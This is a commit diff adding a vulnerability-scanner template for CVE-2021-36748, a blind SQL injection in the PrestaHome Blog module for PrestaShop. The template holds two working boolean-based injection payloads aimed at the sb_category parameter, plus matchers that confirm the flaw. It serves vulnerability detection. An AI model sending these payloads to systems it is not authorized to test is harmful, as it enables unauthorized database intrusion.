Create CVE-2021-36748.yaml (#2446)

* Create CVE-2021-36748.yaml

* Update indentation

* minor update

* Update CVE-2021-36748.yaml

* Additional unique matchers + easily readable syntax

* misc updates

Co-authored-by: sandeep <sandeep@projectdiscovery.io>

cves/2021/CVE-2021-36748.yaml

@@ -0,0 +1,32 @@
+id: CVE-2021-36748
+
+info:
+  name: PrestaHome Blog for PrestaShop - SQL Injection
+  author: whoever
+  severity: high
+  description: Blog for PrestaShop by PrestaHome < 1.7.8 is vulnerable to a SQL injection (blind) via sb_category parameter.
+  tags: cve,cve2021,prestashop,prestahome,sqli,cms
+  reference:
+    - https://nvd.nist.gov/vuln/detail/CVE-2021-36748
+    - https://blog.sorcery.ie/posts/ph_simpleblog_sqli/
+
+requests:
+  - raw:
+      - |
+        GET /module/ph_simpleblog/list?sb_category=')%20OR%20true--%20- HTTP/1.1
+        Host: {{Hostname}}
+
+      - |
+        GET /module/ph_simpleblog/list?sb_category=')%20AND%20false--%20- HTTP/1.1
+        Host: {{Hostname}}
+
+    req-condition: true
+    matchers:
+      - type: dsl
+        dsl:
+          - "status_code_1 == 200"
+          - "status_code_2 == 404"
+          - 'contains(body_1, "prestashop")'
+          - "contains(tolower(all_headers_2), 'index.php?controller=404')"
+          - "len(body_2) == 0"
+        condition: and